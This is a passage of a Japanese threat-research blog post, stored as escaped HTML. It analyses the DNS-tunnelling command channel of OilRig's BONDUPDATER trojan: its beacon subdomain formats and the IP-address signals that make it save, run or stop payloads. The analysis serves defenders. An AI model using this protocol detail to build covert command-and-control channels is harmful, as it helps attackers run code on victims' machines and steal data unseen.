href=\"https:\/\/www.fireeye.com\/blog\/threat-research\/2017\/12\/targeted-attack-in-middle-east-by-apt34.html\">FireEye\u306e\u8abf\u67fb<\/a>\u306b\u3088\u308c\u3070\u3001OilRig\u306f\u30012017\u5e74\u534a\u3070\u306b\u307e\u3067\u3055\u304b\u306e\u307c\u308c\u308b\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306bBONDUPDATER\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u4eca\u56de\u65b0\u3057\u3044BONDUPDATER\u306e\u4e9c\u7a2e\u3092\u767a\u898b\u3059\u308b\u524d\u306b\u3001\u79c1\u305f\u3061\u306fBONDUPDATER\u306b\u3064\u3044\u30662\u3064\u306e\u4e9c\u7a2e\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u4e9c\u7a2e\u306f2018\u5e748\u6708\u306e\u4e2d\u6771\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3059\u308b\u6a19\u7684\u578b\u653b\u6483\u3067\u914d\u4fe1\u3055\u308c\u305f\u3082\u306e\u3067\u3001\u305d\u308c\u306b\u3064\u3044\u3066\u306f<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government\/\">\u3053\u3061\u3089\u306e\u30d6\u30ed\u30b0(\u82f1\u8a9e)<\/a>\u3067\u8aac\u660e\u3057\u3066\u3044\u307e\u3059\u3002BONDUPDATER\u306e\u521d\u671f\u306e\u4e9c\u7a2e\u306f\u3001System.Net.Dns\u30af\u30e9\u30b9\u306e\"GetHostAddresses\"\u30e1\u30bd\u30c3\u30c9\u3092\u4f7f\u7528\u3057\u3001DNS\u30c8\u30f3\u30cd\u30eb\u306b\u306fDNS A\u30ec\u30b3\u30fc\u30c9\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u3002BONDUPDATER\u306e2\u3064\u76ee\u306e\u4e9c\u7a2e\u306f\u3001System.Net.Sockets.UdpClient\u30af\u30e9\u30b9\u304c\u63d0\u4f9b\u3059\u308braw\u30bd\u30b1\u30c3\u30c8\u3092\u4f7f\u3044\u3001DNS A\u3068TXT\u306e\u4e21\u65b9\u306e\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u767a\u884c\u3059\u308b\u3053\u3068\u3067DNS\u30c8\u30f3\u30cd\u30eb\u3092\u5bb9\u6613\u306b\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u8907\u6570\u306eDNS\u30af\u30a8\u30ea\u30bf\u30a4\u30d7\u3092\u4f7f\u7528\u3057\u305f\u7d50\u679c2\u3064\u306eBONDUPDATER\u4e9c\u7a2e\u306f\u5287\u7684\u306b\u7570\u306a\u3063\u3066\u3044\u308b\u305f\u3081\u3001\u305d\u308c\u305e\u308c\u306b\u3064\u3044\u3066\u500b\u5225\u306b\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n<h2>\u521d\u671f\u306eBONDUPDATER<\/h2>\n<p>\u521d\u671f\u306eBONDUPDATER\u30b5\u30f3\u30d7\u30eb\u3067\u306f\u3001\u3082\u3063\u3071\u3089DNS A\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u901a\u4fe1\u30c8\u30f3\u30cd\u30eb\u3092\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u3057\u3066\u3044\u307e\u3059\u3002\u30b5\u30f3\u30d7\u30eb\u306b\u3088\u3063\u3066\u3053\u306eBONDUPDATER\u306e\u4e9c\u7a2e\u304c\u751f\u6210\u3059\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u591a\u5c11\u7570\u306a\u308a\u307e\u3059\u304c\u3001\u305d\u306e\u6700\u7d42\u7684\u306a\u76ee\u7684\u306f\u3001DNS\u30c8\u30f3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u3066C2\u304b\u3089\u65b0\u3057\u3044PowerShell\u307e\u305f\u306fVBScript\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u521d\u671f\u306eBONDUPDATER\u4e9c\u7a2e\u306f\u3001C2 \u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3068\u3057\u3066DNS A\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u5f62\u5f0f\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u69cb\u7bc9\u3059\u308b\u305f\u3081\u306b\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u4e71\u6570\u3001\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3001\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u3092\u542b\u3080\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u307e\u305a\"whoami\"\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3001\u51fa\u529b\u7d50\u679c\u306e\u6700\u521d\u306e12\u6587\u5b57\u3092ID\u3068\u3057\u3066\u4f7f\u7528\u3057\u3066\u3001\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u306b\u3088\u308a\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u8981\u6c42\u3057\u3066\u3044\u308b\u30c7\u30fc\u30bf\u5185\u306e\u30aa\u30d5\u30bb\u30c3\u30c8\u3092C2\u306b\u901a\u77e5\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3067\u306f\"000\"\u3067\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u521d\u671f\u30d3\u30fc\u30b3\u30f3\u306b\u6b21\u306e\u69cb\u9020\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;random number between 10-99, 1-6 digits worth&gt;&lt;action value, \"0\" for beacon&gt;&lt;sequence number&gt;&lt;unique system identifier&gt;B007.&lt;C2 domain&gt;<\/span><\/p>\n<p>C2\u304c\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u305f\u3044\u5834\u5408\u3001\u6700\u521d\u306e2\u30aa\u30af\u30c6\u30c3\u30c8\u3068\u3057\u3066\"24.125\"\u3067\u59cb\u307e\u308bAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3067\u5fdc\u7b54\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u6b8b\u308a\u306e2\u30aa\u30af\u30c6\u30c3\u30c8\u3092\u3001C2\u304b\u3089\u9001\u4fe1\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u7528\u306e\u6587\u5b57\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u6700\u5f8c\u306e\u6587\u5b57\u3092\u4f7f\u7528\u3057\u3066\u3001C2\u304b\u3089\u63d0\u4f9b\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u3059\u308b\u65b9\u6cd5\u3092\u6c7a\u5b9a\u3057\u307e\u3059\u3002\u88684\u306b\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u6700\u5f8c\u306e\u6841(\u30d3\u30fc\u30b3\u30f3\u306b\u5bfe\u3059\u308b\u5fdc\u7b54\u306e4\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8)\u3068\u3057\u3066\u63a2\u30593\u7a2e\u985e\u306e\u5024\u3068\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u53d7\u4fe1\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u3059\u308b\u65b9\u6cd5\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u6700\u5f8c\u306e\u6841<\/strong><\/td>\n<td><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td>0<\/td>\n<td>\u30c7\u30fc\u30bf\u3092\u5b9f\u884c\u3059\u3079\u304dPowerShell\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u6271\u3046<\/td>\n<\/tr>\n<tr>\n<td>1<\/td>\n<td>&lt;filename&gt;.ps1\u306b\u30c7\u30fc\u30bf\u3092\u66f8\u304d\u8fbc\u3080<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td>&lt;filename&gt;.vbs\u306b\u30c7\u30fc\u30bf\u3092\u66f8\u304d\u8fbc\u3080<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88684 \u30d5\u30a1\u30a4\u30eb\u540d\u672b\u5c3e\u306e\u6587\u5b57\u306b\u57fa\u3065\u3044\u3066\u5b9f\u884c\u3055\u308c\u308b\u30b3\u30de\u30f3\u30c9<\/em><\/p>\n<p>\u56f322\u306f\"24.125.0[.]1\"\u3067\u5fdc\u7b54\u3059\u308bC2\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u305f\u3081\u306b\"01.ps1\"\u3068\u3044\u3046\u540d\u524d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3059\u308b\u3088\u3046\u306bBONDUPDATER\u306b\u6307\u793a\u3057\u3066\u3044\u307e\u3059\u3002C2\u304c\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u7d42\u4e86\u3055\u305b\u305f\u3044\u5834\u5408\u306f\u3001\"11.24.237[.]110\"\u3068\u3044\u3046IPv4\u3092\u30ec\u30b9\u30dd\u30f3\u30b9\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u542b\u3081\u3066\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101497\" aria-describedby=\"caption-attachment-101497\" style=\"width: 968px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101497 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-229.png\" alt=\"\u56f322 \u521d\u671fBONDUPDATER\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3001Answer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u3067\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30c7\u30fc\u30bf\u3092\u8fd4\u3059C2\u30b5\u30fc\u30d0\u30fc\" width=\"968\" height=\"156\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-229.png 968w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-229-300x48.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-229-768x124.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-229-900x145.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-229-370x60.png 370w\" sizes=\"(max-width: 968px) 100vw, 968px\" \/><figcaption id=\"caption-attachment-101497\" class=\"wp-caption-text\">\u56f322 \u521d\u671fBONDUPDATER\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3001Answer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u3067\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30c7\u30fc\u30bf\u3092\u8fd4\u3059C2\u30b5\u30fc\u30d0\u30fc<\/figcaption><\/figure>\n<p>\u30d5\u30a1\u30a4\u30eb\u304c\u4f5c\u6210\u3055\u308c\u308b\u3068\u3001BONDUPDATER\u306fDNS\u30af\u30a8\u30ea\u306e\u9001\u4fe1\u3092\u958b\u59cb\u3057\u3001\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3046\u3079\u304dIPv4\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u8fd4\u3059\u3088\u3046\u8981\u6c42\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u30d3\u30fc\u30b3\u30f3\u3068\u540c\u3058\u30af\u30a8\u30ea\u69cb\u9020\u3092\u4f7f\u7528\u3057\u307e\u3059\u304c\u3001\u30a2\u30af\u30b7\u30e7\u30f3\u3068\u3057\u3066\u5024\"1\"\u3092\u4f7f\u7528\u3057\u3001\u30c7\u30fc\u30bf\u306e\u8981\u6c42\u3054\u3068\u306b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u30923\u305a\u3064\u5897\u52a0\u3055\u305b\u307e\u3059\u3002\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u306f\u3001C2\u30b5\u30fc\u30d0\u304c\u9001\u4fe1\u3059\u308b\u30c7\u30fc\u30bf\u306e\u30aa\u30d5\u30bb\u30c3\u30c8\u306b\u5bfe\u5fdc\u3057\u307e\u3059\u3002C2\u30b5\u30fc\u30d0\u306f\u3001IPv4\u30a2\u30c9\u30ec\u30b9\u306e\u6700\u521d\u30012\u756a\u76ee\u30013\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u306b\u3001\u4e00\u5ea6\u306b3\u30d0\u30a4\u30c8\u305a\u3064\u9001\u4fe1\u3057\u307e\u3059\u3002C2\u306f\u3001IPv4\u30a2\u30c9\u30ec\u30b9\u306e4\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u5185\u306b\u73fe\u5728\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002\u3053\u3046\u3057\u3066\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u30a8\u30b3\u30fc\u30d0\u30c3\u30af\u3059\u308b\u3053\u3068\u3067\u3001\u6b63\u3057\u3044\u30c7\u30fc\u30bf\u30c1\u30e3\u30f3\u30af\u3067\u3042\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u56f322\u306f\u307e\u305f\u3001C2\u304c\u7d9a\u304f2\u3064\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3068\u3057\u3066IP\u30a2\u30c9\u30ec\u30b9\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306eIP\u30a2\u30c9\u30ec\u30b9\u306f\u3001\u6700\u521d\u306e3\u30aa\u30af\u30c6\u30c3\u30c8\u3092\u30c7\u30fc\u30bf\u3068\u3057\u3066\u30014\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u3092\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\"01.ps1\"\u30d5\u30a1\u30a4\u30eb\u306b\"whoami\"\u3092\u4fdd\u5b58\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cC2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u306e\u30c7\u30fc\u30bf\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u5225\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4f5c\u6210\u3057\u3066\u30c7\u30fc\u30bf\u8ee2\u9001\u306e\u6210\u529f\u3092C2\u306b\u30af\u30a8\u30ea\u3092\u51fa\u3057\u3066\u901a\u77e5\u3057\u307e\u3059\u3002\u3053\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u8208\u5473\u6df1\u3044\u3082\u306e\u3067\u3001\u3053\u3053\u306b\u306f\u30d3\u30fc\u30b3\u30f3\u304b\u3089\u306e\u30b7\u30b9\u30c6\u30e0\u56fa\u6709\u306eID\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u56fa\u6709\u306e\u30b7\u30b9\u30c6\u30e0ID\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u305f\"whoami\"\u30b3\u30de\u30f3\u30c9\u306e\u51fa\u529b\u7d50\u679c\u304b\u308916\u9032\u8868\u8a18\u3067\u6700\u592725\u30d0\u30a4\u30c8\u5206\u306e\u30d0\u30a4\u30c8\u30c7\u30fc\u30bf\u3082\u542b\u307e\u308c\u307e\u3059\u3002\u5fc5\u8981\u306b\u5fdc\u3058\u3066\u3001BONDUPDATER\u306f\u3053\u306e\u69cb\u9020\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u308a\u8fd4\u3059\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u901a\u77e5\u30af\u30a8\u30ea\u7528\u306b\u69cb\u7bc9\u3055\u308c\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u6b21\u306e\u69cb\u9020\u3092\u6301\u3061\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;random number between 10-99, 5-10 digits worth&gt;4&lt;sequence number, always \"000\"&gt;&lt;unique system identifier&gt;B007.&lt;25-bytes of hexlified 'whoami' output&gt;.&lt;C2 domain&gt;<\/span><\/p>\n<p>\u56f323\u306f\u3001BONDUPDATER\u304c\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u306e\u56f3\u306f\u307e\u305f\u3001\u30af\u30a8\u30ea\u304c\u3069\u306e\u3088\u3046\u306b\u30c7\u30fc\u30bf\u306e\u6f0f\u51fa\u3092\u898b\u3064\u3051\u308b\u306e\u304b\u306b\u3064\u3044\u3066\u3082\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101499\" aria-describedby=\"caption-attachment-101499\" style=\"width: 974px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-101499 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-230.png\" alt=\"\u56f323 BONDUPDATER\u304cC2\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\u3068\u3053\u308d\" width=\"974\" height=\"66\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-230.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-230-300x20.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-230-768x52.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-230-900x61.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-230-370x25.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101499\" class=\"wp-caption-text\">\u56f323 BONDUPDATER\u304cC2\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>BONDUPDATER\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305fPowerShell\u307e\u305f\u306fVBScript\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u305b\u305a\u3001\u304b\u308f\u308a\u306bC2\u304b\u3089\u306e\u5f8c\u7d9a\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u5229\u7528\u3057\u307e\u3059\u3002\u3053\u306e\u30d3\u30fc\u30b3\u30f3\u306b\u306f\u3001Answer\u30bb\u30af\u30b7\u30e7\u30f3\u306bIPv4\u30a2\u30c9\u30ec\u30b9\u304c\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u3053\u306eIPv4\u306f\"24.125\"\u304b\u3089\u59cb\u307e\u308a4\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u306b\"0\"\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u88684\u306b\u3088\u308b\u3068\u3001BONDUPDATER\u306f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092PowerShell\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u4ee5\u524d\u306b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305fPowerShell\u3084VBScript\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2>\u66f4\u65b0\u3055\u308c\u305fBONDUPDATER<\/h2>\n<p>OilRig\u304c<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government\/\">\u4e2d\u6771\u653f\u5e9c\u7d44\u7e54\u306b\u5bfe\u3059\u308b2018\u5e74\u306e\u653b\u6483(\u82f1\u8a9e)<\/a>\u3067\u4f7f\u7528\u3057\u305f\u66f4\u65b0\u3055\u308c\u305fBONDUPDATER\u306f\u3001\u524d\u8ff0\u306e\u4e9c\u7a2e\u3068\u540c\u3058DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u305f\u3060\u3057\u3001\u30c7\u30fc\u30bf\u8ee2\u9001\u306bDNS A\u30af\u30a8\u30ea\u3068TXT\u30af\u30a8\u30ea\u3092\u7d44\u307f\u5408\u308f\u305b\u305f\u5225\u306e\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3082\u4f7f\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u66f4\u65b0\u3055\u308c\u305fBONDUPDATER\u306f\u3001DNS A\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3059\u308b\u540c\u3058DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u53d6\u5f97\u3059\u308b\u306b\u306f\"24.125\"\u3067\u59cb\u307e\u308bIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u63a2\u3057\u3001C2\u304c\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u7d42\u4e86\u3057\u305f\u3044\u5834\u5408\u306f\"11.24.237.110\"\u3092\u63a2\u3057\u307e\u3059\u3002\u66f4\u65b0\u3055\u308c\u305fBONDUPDATER\u306f\u3053\u306e\u307b\u304b\u306b\"99.250.250.199\"\u3068\u3044\u3046IPv4\u30a2\u30c9\u30ec\u30b9\u3082\u63a2\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u30c7\u30fc\u30bf\u3092\u8ee2\u9001\u3059\u308b\u305f\u3081\u306bDNS TXT\u30af\u30a8\u30ea\u3092\u767a\u884c\u3059\u308b\u4ee3\u66ffDNS\u30c8\u30f3\u30cd\u30eb\u306e\u4f7f\u7528\u3092\u958b\u59cb\u3059\u308b\u3088\u3046\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u4f7f\u7528\u3057\u3066\u3044\u308bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u95a2\u4fc2\u306a\u304f\u3001\u4f5c\u6210\u3055\u308c\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u4ee5\u524d\u306e\u65e2\u77e5\u306e\u4e9c\u7a2e\u3068\u306f\u69cb\u9020\u304c\u7570\u306a\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u4ee5\u524d\u306e\u30d6\u30ed\u30b0\u3067\u8ff0\u3079\u305f\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<p><em>\u300c\u9001\u4fe1\u53d7\u4fe1\u306e\u4e21\u65b9\u306e\u305f\u3081\u306b\u751f\u6210\u3055\u308c\u308b\u30c9\u30e1\u30a4\u30f3\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u306f\u4ee5\u524d\u306b\u751f\u6210\u3055\u308c\u305fGUID\u304b\u3089\u59cb\u307e\u308a\u3001\u305d\u308c\u3092\u4f7f\u3063\u3066\u30b7\u30b9\u30c6\u30e0\u3092\u4e00\u610f\u306b\u8b58\u5225\u3057\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u30d1\u30fc\u30c8\u756a\u53f7\u306e\u5024\u3068\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u7a2e\u985e\u3092\u8868\u3059\u6587\u5b57\u3092\u3053\u306eGUID\u6587\u5b57\u5217\u306b\u30e9\u30f3\u30c0\u30e0\u306a\u30aa\u30d5\u30bb\u30c3\u30c8\u3067\u633f\u5165\u3057\u307e\u3059\u3002\u30d1\u30fc\u30c8\u756a\u53f7\u306e\u5024\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30c1\u30e3\u30f3\u30af\u306b\u5bfe\u5fdc\u3059\u308b3\u6841\u306e\u6587\u5b57\u5217\u3067\u3059\u3002\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u7a2e\u985e\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u5b9f\u884c\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u901a\u4fe1\u306e\u7a2e\u985e\u3092C2\u306b\u901a\u77e5\u3059\u308b1\u6587\u5b57\u3067\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u306f\u30012\u3064\u306e\u30b9\u30bf\u30c6\u30a3\u30c3\u30af\u306a\u6587\u5b57 \"C\"\u3068\"T\"\u304c2\u6841\u306e\u6570\u5b57\u3092\u56f2\u3093\u3067\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001C2\u30b5\u30fc\u30d0\u30fc\u306fGUID\u6587\u5b57\u5217\u5185\u306b\u30e9\u30f3\u30c0\u30e0\u306a\u30aa\u30d5\u30bb\u30c3\u30c8\u3067\u6df7\u5165\u3055\u308c\u305f\u30d1\u30fc\u30c8\u756a\u53f7\u3068\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u7a2e\u985e\u3092\u898b\u3064\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u300d<\/em><\/p>\n<p>\u524d\u8ff0\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u69cb\u9020\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002\u30d1\u30fc\u30c8\u756a\u53f7\u3068\u30a2\u30af\u30b7\u30e7\u30f3\u306e